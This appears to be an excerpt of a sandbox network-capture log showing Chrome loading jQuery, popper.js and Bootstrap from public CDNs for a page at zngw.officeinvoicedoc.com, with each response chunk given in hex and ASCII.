2024-08-28 11:52:52 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-08-28 11:52:52 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-08-28 11:52:52 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-08-28 11:52:52 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-08-28 11:52:52 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49752	104.17.24.14	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:52 UTC	701	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://zngw.officeinvoicedoc.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://zngw.officeinvoicedoc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:52 UTC	959	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:52 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1286975 Expires: Mon, 18 Aug 2025 11:52:52 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cX3XW5GfzOjeRWAbzb6GUNy7ge8GeZ6aKY%2BNrH9iFnpGh9atvSzbSjMt%2BXIyeXImWqMeQyGs8kYUrdbidm0bUlBPEUErmBGdaIvMkEyt%2Fjte37fNNUCCgLZ54yP6TvW8mY8nW6Nh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ba41901ba41c44f-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:52 UTC	410	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 Data Ascii: e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document'
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 Data Ascii: var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['borde
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e Data Ascii: :p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 Data Ascii: ht:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.wid
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e Data Ascii: .warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instan
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 Data Ascii: s.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passi
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 Data Ascii: rn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retu
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: rn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d Data Ascii: rn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49749	104.18.11.207	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:52 UTC	658	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://zngw.officeinvoicedoc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:52 UTC	948	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:52 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-CachedAt: 10/31/2023 18:58:40 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 1048 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: f4f838df79fc133911a060d7c6bb0f5c CDN-Cache: HIT CF-Cache-Status: HIT Age: 14488301 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ba419019bea0f41-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:52 UTC	421	IN	Data Raw: 37 62 66 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bff/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 